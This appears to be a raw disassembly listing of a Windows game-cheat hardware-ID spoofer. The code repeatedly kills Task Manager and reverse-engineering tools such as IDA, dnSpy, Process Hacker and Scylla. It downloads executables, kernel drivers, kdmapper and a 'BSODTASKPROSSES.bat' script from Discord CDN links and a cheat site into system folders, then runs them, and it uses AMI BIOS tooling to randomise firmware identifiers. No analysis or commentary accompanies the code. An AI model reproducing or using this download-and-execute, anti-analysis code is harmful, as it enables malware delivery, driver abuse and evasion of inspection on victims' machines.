call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xb230]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xb210]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xb210]
call fcn.14005d8d0
mov qword [rsp + 0x1420], rax
lea rcx, [rsp + 0xb230]
call fcn.14005d8d0
mov qword [rsp + 0x1428], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1420]
mov rdx, qword [rsp + 0x1428]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140392bb0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_DISK1.sys
lea rcx, [rsp + 0xb1f0]
call fcn.14005d9d0
nop
lea rdx, [0x140392c30]
lea rcx, [rsp + 0xb1d0]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_privatenxtv2spoofingdrivers_fixspooferv2namesss_asap_kdmapper.exe
lea rcx, [rsp + 0xb1b0]
call fcn.14005d9d0
nop
lea rdx, [0x1403925a8]
lea rcx, [rsp + 0xb190]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_DriverMapper1.bat
lea rcx, [rsp + 0xb170]
call fcn.14005d9d0
nop
lea rdx, [0x140392bf0]
lea rcx, [rsp + 0xb150]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xb1d0]
call fcn.14005d8d0
mov qword [rsp + 0x1430], rax
lea rcx, [rsp + 0xb1f0]
call fcn.14005d8d0
mov qword [rsp + 0x1438], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1430]
mov rdx, qword [rsp + 0x1438]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xb190]
call fcn.14005d8d0
mov qword [rsp + 0x1440], rax
lea rcx, [rsp + 0xb1b0]
call fcn.14005d8d0
mov qword [rsp + 0x1448], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1440]
mov rdx, qword [rsp + 0x1448]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xb150]
call fcn.14005d8d0
mov qword [rsp + 0x1450], rax
lea rcx, [rsp + 0xb170]
call fcn.14005d8d0
mov qword [rsp + 0x1458], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1450]
mov rdx, qword [rsp + 0x1458]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140392bf0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32Mobo.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1138723769226113054_AMI.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32_amifldrv64.sys
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1138723769909780491_amifldrv64.sys
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32_amifldrv32.sys
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1138723769582620694_amifldrv32.sys
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Windows_nfLauncher.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1139989094840152174_nfLauncher.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.C:WindowsSystem32Mobo.exe__GAN__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x74b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x74b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x74b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PPIN__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x74d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x74d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x74d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EAX__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x74f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x74f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x74f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EBX__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7510]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7510]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7510]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ECX__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7530]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7530]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7530]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EDX__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7550]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7550]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7550]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CIMV2__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7570]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7570]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7570]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__WMI__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7590]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7590]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7590]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__WMIC__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x75b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x75b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x75b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SS__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x75d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x75d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x75d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x75f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x75f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x75f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SV__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7610]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7610]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7610]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BV__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7630]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7630]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7630]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7650]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7650]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7650]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CS__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7670]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7670]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7670]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PSN__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7690]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7690]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7690]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PAT__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x76b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x76b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x76b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PPN__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x76d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x76d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x76d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__IV__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x76f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x76f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x76f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SM__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7710]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7710]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7710]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SP__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7730]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x7730]
call fcn.14006c020
nop
lea rcx, [rsp + 0x7730]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SF__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x7750]
call fcn.14005d9d0
nop
